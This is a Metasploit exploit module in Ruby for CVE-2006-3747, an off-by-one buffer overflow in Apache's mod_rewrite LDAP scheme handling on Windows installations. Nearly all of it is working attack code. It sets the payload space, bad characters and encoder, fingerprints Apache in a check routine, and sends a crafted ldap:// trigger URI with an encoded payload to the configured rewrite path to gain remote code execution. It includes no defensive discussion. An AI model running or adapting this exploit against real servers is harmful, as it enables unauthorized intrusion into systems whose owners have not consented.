Apache module mod_rewrite LDAP protocol Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Apache module mod_rewrite LDAP protocol Buffer Overflow',  
'Description' => %q{  
This module exploits the mod_rewrite LDAP protocol scheme handling  
flaw discovered by Mark Dowd, which produces an off-by-one overflow.  
Apache versions 1.3.29-36, 2.0.47-58, and 2.2.1-2 are vulnerable.  
This module requires REWRITEPATH to be set accurately. In addition,  
the target must have 'RewriteEngine on' configured, with a specific  
'RewriteRule' condition enabled to allow for exploitation.   
  
The flaw affects multiple platforms, however this module currently  
only supports Windows based installations.  
},  
'Author' => 'patrick',  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-3747' ],  
[ 'OSVDB', '27588' ],  
[ 'BID', '19204' ],  
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2006-07/0514.html' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/3680' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/3996' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/2237' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Platform' => ['win'], # 'linux'],  
'Payload' =>  
{  
'Space' => 636,  
'BadChars' => "\x00\x0a\x0d\x20",  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'StackAdjustment' => -3500,  
'DisableNops' => 'True',  
},  
'Targets' =>   
[  
[ 'Automatic', {} ], # patrickw tested OK 20090310 win32  
],  
'DisclosureDate' => 'Jul 28 2006',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('REWRITEPATH', [true, "The mod_rewrite URI path", "rewrite_path"]),  
], self.class)  
end  
  
def autofilter  
return false  
end  
  
def check  
res = send_request_raw({  
'uri' => '/',  
'version' => '1.1',  
}, 2)  
  
if (res.to_s =~ /Apache/) # This could be smarter.  
return Exploit::CheckCode::Detected  
end  
return Exploit::CheckCode::Safe  
  
end  
  
def exploit  
  
# On Linux Apache, it is possible to overwrite EIP by  
# sending ldap://<buf> ... TODO patrickw  
  
trigger = '/ldap://localhost/%3fA%3fA%3fCCCCCCCCCC%3fC%3f%90'  
  
print_status("Sending payload.")  
send_request_raw({  
'uri' => '/' + datastore['REWRITEPATH'] + trigger + payload.encoded,  
'version' => '1.0',  
}, 2)  
handler  
end  
end  
`